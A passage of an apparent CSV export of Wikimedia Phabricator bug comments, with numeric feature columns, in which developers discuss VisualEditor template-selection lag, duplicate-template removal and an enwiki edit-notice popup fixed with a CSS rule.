**Severity**: normal",High,80.0,1372048320,1406824618.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-3f6rzvtal3vp7j7ok4ve,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.5,0.0,1.5,0.5,3.5,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,10.5,0.5,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,5.5,0.0,1.0,0.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,8.5,0.5,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,3.5,8.0,0.5,3.5,5.0,0.0,0.0,0.0,0.0,3.5,0.0,2.5,0.0,1.0,10.5,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,2.0,1.5,0.0,1.0,3.751196172248804,0.7384654818865346,"(from bug 49922 comment 1)

VE is slow at selecting templates and transclusions in big pages.

For example: [[World War II]]:

 - attempt to select infobox by clicking on it: takes ~3 seconds in 
   Firefox 21 and Chrome 27, with no visual indication that anything
   is happening during the wait

 - attempt to select the reflist by clicking on it: just hangs in Firefox
   and Chrome, never actually seems to happen

This either needs to be sped up, or fail more gracefully.

In IE10, this is not such a problem \o/ - lag is actually less, and the reflist can be selected (takes about 22 seconds).

--------------------------
**Version**: unspecified
**Severity**: normal"
243681,VisualEditor: Lag when selecting complex templates (especially in big pages),"This is an old report that I think is now closable (but performance is of course an on-going concern).

For these particular concerns, we've recently fixed a number of performance issues germane to these:

* Selection of the template, and opening the dialog, takes much less than a
  second now for me (I'd call it instant, roughly).
* Loading the second reflist is much quicker too (the first one was already near-instant).

(Note that these fixes should hit production later today.)

Consequently, I'm marking this as ""FIXED"", though there's always going to be more to do.",,,1406824618,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3f6rzvtal3vp7j7ok4ve,task_subcomment,,True,c1,3,True,,,56,,1.5,0.0,0.0,0.0,0.0,6.5,4.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,1.0,3.0,0.0,7.5,8.0,0.0,1.5,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,5.5,1.5,1.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,3.0,1.5,0.0,1.0,0.5,0.0,1.5,9.5,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,1.5,0.0,0.0,0.5,0.0,0.5,4.5,4.0,6.5,1.5,1.0,7.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,8.0,1.0,0.0,1.5,0.0,4.0,0.0,0.5,2.0,0.5,3.0,2.0,0.0,0.0,3.6742424242424243,0.7878787878787878,"This is an old report that I think is now closable (but performance is of course an on-going concern).

For these particular concerns, we've recently fixed a number of performance issues germane to these:

* Selection of the template, and opening the dialog, takes much less than a
  second now for me (I'd call it instant, roughly).
* Loading the second reflist is much quicker too (the first one was already near-instant).

(Note that these fixes should hit production later today.)

Consequently, I'm marking this as ""FIXED"", though there's always going to be more to do."
243676,VisualEditor: Lag when selecting complex templates (especially in big pages),"Created attachment 13765
beyond the selected reflist

**Attached**: {F11475}",,,1384199300,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-3f6rzvtal3vp7j7ok4ve,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.8333333333333334,"Created attachment 13765
beyond the selected reflist

**Attached**: {F11475}"
243671,VisualEditor: Lag when selecting complex templates (especially in big pages),"Created attachment 13764
Above the reflist

**Attached**: {F11474}",,,1384199261,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-3f6rzvtal3vp7j7ok4ve,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.588235294117647,0.8235294117647058,"Created attachment 13764
Above the reflist

**Attached**: {F11474}"
243666,VisualEditor: Lag when selecting complex templates (especially in big pages),"Experienced the lag in selecting both the info box and reflist on that page in chrome Version 26.0.1410.65 and firefox 20 (MAC OS X version 10.8.5)

However, did not experience the hang while selecting the reflist in either of the browsers.

Also,while selecting the reflist , the blue selection box progresses beyond the reflist selected in both sides.

See the screenshots attached.",,,1384199216,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-3f6rzvtal3vp7j7ok4ve,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,3.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,11.0,3.0,3.0,18.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.465753424657534,0.6438356164383562,"Experienced the lag in selecting both the info box and reflist on that page in chrome Version 26.0.1410.65 and firefox 20 (MAC OS X version 10.8.5)

However, did not experience the hang while selecting the reflist in either of the browsers.

Also,while selecting the reflist , the blue selection box progresses beyond the reflist selected in both sides.

See the screenshots attached."
52079,"VisualEditor: When a page contains two identical templates right next to each other, one is removed","See the unexpected changes at https://en.wikipedia.org/w/index.php?title=Thomson_Airways&diff=561270595&oldid=561268927

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1372037280,1372089793.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-4gxgm32h47ktjmsohfhi,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.625,"See the unexpected changes at URL

--------------------------
**Version**: unspecified
**Severity**: major"
243367,"VisualEditor: When a page contains two identical templates right next to each other, one is removed",Fixed and will go out in about an hour.,,,1372089793,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4gxgm32h47ktjmsohfhi,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.1,1.0,Fixed and will go out in about an hour.
243361,"VisualEditor: When a page contains two identical templates right next to each other, one is removed",Related URL: https://gerrit.wikimedia.org/r/70133 (Gerrit Change Ib13bb206c49b1f5b186e40632a5c109def0f042e),,,1372069539,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4gxgm32h47ktjmsohfhi,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ib13bb206c49b1f5b186e40632a5c109def0f042e)
243354,"VisualEditor: When a page contains two identical templates right next to each other, one is removed",Data model issue.,,,1372042733,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4gxgm32h47ktjmsohfhi,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,75.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Data model issue.
243348,"VisualEditor: When a page contains two identical templates right next to each other, one is removed","When a page contains two identical templates right next to each other, VE removes one of them. 

Try editing [[User:This, that and the other/sandbox/VE5]] in VE, for example.",,,1372039711,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-4gxgm32h47ktjmsohfhi,task_subcomment,,True,c1,2,False,,,-1,,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,9.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,5.0,3.340909090909091,0.8181818181818182,"When a page contains two identical templates right next to each other, VE removes one of them. 

Try editing [[User:This, that and the other/sandbox/VE5]] in VE, for example."
52077,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","Screenshot

See screenshot. What am I meant to be paying attention to?

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11451}",High,80.0,1372035900,1373037205.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-wnsljgens4avgolp5rah,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,5.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.604651162790698,0.6046511627906976,"Screenshot

See screenshot. What am I meant to be paying attention to?

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11451}"
243196,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack",This has indeed be fixed by the above on-wiki change; closing.,,,1373037205,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.466666666666667,1.0,This has indeed be fixed by the above on-wiki change; closing.
243192,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","(In reply to comment #9)
> .ve-init-mw-viewPageTarget-toolbar-editNotices-notice .editnotice-redlink {
> display: none !important; }
> 
> I'd recommend the community adds this to [[MediaWiki:Group-sysop.css]]

Actually, add it to [[MediaWiki:Common.css]] below "".sysop-show { display: none"" because we want it to apply to non-sysops who made this visible in their user css as well. It won't affect anything else.",,,1372814858,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,True,,,0,,0.0,1.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,12.0,3.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,4.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,7.0,12.0,6.0,0.0,3.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.2238805970149254,0.7611940298507462,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE

Actually, add it to [[MediaWiki:Common.css]] below "".sysop-show { display: none"" because we want it to apply to non-sysops who made this visible in their user css as well. It won't affect anything else."
243188,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","I agree that it isn't obvious whether the community does or doesn't want this information on the edit page. However I also want to emphasise that this is hidden by default, and thanks to our logic that strips out fake notices that have no visible content, they are hidden for the vast majority of users.

If this ""Page notice"" redlink is visible, it is because the user has styles in their state (either from [[MediaWiki:Group-sysop.css]] or their user stylesheet) that make "".editnotice-redlink"" or "".show-sysops"" visible (the element in the edit notice has both classes).

So one could argue showing it is the right thing to do, for they want to see it. Why would they want to see it on the edit page but not in VisualEditor? Likely because they don't use it that much in the first place, but it is more intruding in VisualEditor because notices pop up from the editor.

Anyway, to hide in visualeditor without hiding it else where, you can use the following line of CSS:

.ve-init-mw-viewPageTarget-toolbar-editNotices-notice .editnotice-redlink { display: none !important; }

I'd recommend the community adds this to [[MediaWiki:Group-sysop.css]] right below the rules for  "".show-sysop { display: block !important; }"" and the like.

Note that we can't use ve-ui-toolbar, we can only use ""ve-init-mw-viewPageTarget-toolbar-editNotices-notice"" because the other elements aren't in the notice's element tree until *after* it is already in the VE DOM, and hiding it after that will merely make the link invisible, the notice container will still be there.",,,1372814249,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,True,,,0,,0.25,0.0,0.0,0.5,1.5,4.75,1.75,1.0,0.0,0.25,2.25,1.5,0.0,0.5,0.0,1.5,0.0,6.0,10.25,0.25,1.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.75,1.0,0.0,5.5,3.25,2.5,1.0,0.25,0.0,0.0,0.25,0.75,0.25,1.5,0.0,1.75,0.25,0.25,0.0,0.5,0.5,14.25,1.0,1.0,0.25,0.25,0.0,0.0,0.0,0.0,0.75,0.0,0.5,1.75,0.0,1.25,0.0,0.5,0.0,5.0,2.5,5.0,2.75,2.25,6.75,0.0,0.0,0.5,0.0,4.75,0.0,0.25,0.0,6.25,10.25,3.0,0.25,2.5,0.0,6.25,0.0,1.25,0.0,0.0,1.0,0.25,0.0,1.5,3.703715526046987,0.7012576608784473,"I agree that it isn't obvious whether the community does or doesn't want this information on the edit page. However I also want to emphasise that this is hidden by default, and thanks to our logic that strips out fake notices that have no visible content, they are hidden for the vast majority of users.

If this ""Page notice"" redlink is visible, it is because the user has styles in their state (either from [[MediaWiki:Group-sysop.css]] or their user stylesheet) that make "".editnotice-redlink"" or "".show-sysops"" visible (the element in the edit notice has both classes).

So one could argue showing it is the right thing to do, for they want to see it. Why would they want to see it on the edit page but not in VisualEditor? Likely because they don't use it that much in the first place, but it is more intruding in VisualEditor because notices pop up from the editor.

Anyway, to hide in visualeditor without hiding it else where, you can use the following line of CSS:

.ve-init-mw-viewPageTarget-toolbar-editNotices-notice .editnotice-redlink { display: none !important; }

I'd recommend the community adds this to [[MediaWiki:Group-sysop.css]] right below the rules for  "".show-sysop { display: block !important; }"" and the like.

Note that we can't use ve-ui-toolbar, we can only use ""ve-init-mw-viewPageTarget-toolbar-editNotices-notice"" because the other elements aren't in the notice's element tree until *after* it is already in the VE DOM, and hiding it after that will merely make the link invisible, the notice container will still be there."
243185,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","(In reply to comment #6)
> There isn't much we can do. If the community insists it is useful to have
> placeholder edit notices when there is no editnotice that allows opt-in users
> to create them from a red link, then this is exactly what they want, is it
> not?
> 
> It shows that on EditPage as well (except in there, they are less visible as
> actual notices but appear as part of the page).

I disagree that the consensus that the enwiki community achieved for having this edit notice in wikitext editor (a consensus which I have disagreed for years, but there you go) transfers to consensus that they want it displaying in VisualEditor.

As a quick hack, we could sniff for the edit notice having class=""editnotice-redlink"" on it and killing that notice from the array. It's horrible, but it will stop the problem until we fix it properly.",,,1372813340,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,1.5,10.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,4.0,2.5,4.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,7.5,1.5,2.5,7.0,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,9.0,10.5,4.0,0.0,1.0,0.0,9.0,0.0,1.0,1.5,0.0,3.0,0.0,0.0,0.0,3.9566558441558444,0.7303571428571429,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I disagree that the consensus that the enwiki community achieved for having this edit notice in wikitext editor (a consensus which I have disagreed for years, but there you go) transfers to consensus that they want it displaying in VisualEditor.

As a quick hack, we could sniff for the edit notice having class=""editnotice-redlink"" on it and killing that notice from the array. It's horrible, but it will stop the problem until we fix it properly."
243183,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","Last I checked, we're part of the community.",,,1372806658,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,1.0,"Last I checked, we're part of the community."
243179,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","I fixed most of these last year by supporting client-side ""hidden"" notices as non-existent through the hasVisibleText logic I wrote.

These used to trigger a notice for all users, now it only triggers a notice for users that have css in their state that makes these red links visible (I think this is limited to MediaWiki:Group-sysop.css by default +  anyone else who likes to have it as well).

There isn't much we can do. If the community insists it is useful to have placeholder edit notices when there is no editnotice that allows opt-in users to create them from a red link, then this is exactly what they want, is it not?

It shows that on EditPage as well (except in there, they are less visible as actual notices but appear as part of the page).",,,1372801246,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,True,,,0,,1.0,0.5,0.0,0.5,1.0,6.5,1.0,0.0,0.0,0.5,4.5,0.5,0.5,0.5,1.0,2.0,0.5,8.0,12.5,0.5,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,9.5,4.0,3.0,1.5,0.0,0.5,0.0,0.0,1.0,0.5,2.5,0.5,0.5,0.0,0.5,0.0,1.5,1.0,12.5,1.5,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.5,0.5,1.5,1.0,3.5,4.0,5.5,2.5,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,7.0,12.5,1.5,0.5,1.0,0.0,7.0,0.0,3.5,1.5,0.5,0.5,0.5,0.5,0.0,3.7409638554216866,0.7771084337349398,"I fixed most of these last year by supporting client-side ""hidden"" notices as non-existent through the hasVisibleText logic I wrote.

These used to trigger a notice for all users, now it only triggers a notice for users that have css in their state that makes these red links visible (I think this is limited to MediaWiki:Group-sysop.css by default +  anyone else who likes to have it as well).

There isn't much we can do. If the community insists it is useful to have placeholder edit notices when there is no editnotice that allows opt-in users to create them from a red link, then this is exactly what they want, is it not?

It shows that on EditPage as well (except in there, they are less visible as actual notices but appear as part of the page)."
243174,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","This really should be solved on en.wp, not in VE.",,,1372784144,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,"This really should be solved on en.wp, not in VE."
243169,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","I'd recommend prioritizing this very highly, it's a rather negative experience.",,,1372784020,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,4.6,1.0,"I'd recommend prioritizing this very highly, it's a rather negative experience."
243163,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack",*** Bug 50531 has been marked as a duplicate of this bug. ***,,,1372727149,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50531 has been marked as a duplicate of this bug. ***
243157,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","(In reply to comment #1)
> (In reply to comment #0)
> > Created attachment 12619 [details]
> > Screenshot
> > 
> > See screenshot. What am I meant to be paying attention to?
> 
> That enwiki's community, in its wisdom, wants you to see that you can add a
> page notice to every page, because you're +sysop. It doesn't appear for
> non-sysops. If they want to commit to adding a class to it that we suppress
> and reduce the count by one, we're happy to do that.

Looking into this, it seems like we can use class=""editnotice-redlink"" to select and suppress these (including reducing the count by one). Handing to Timo to implement.

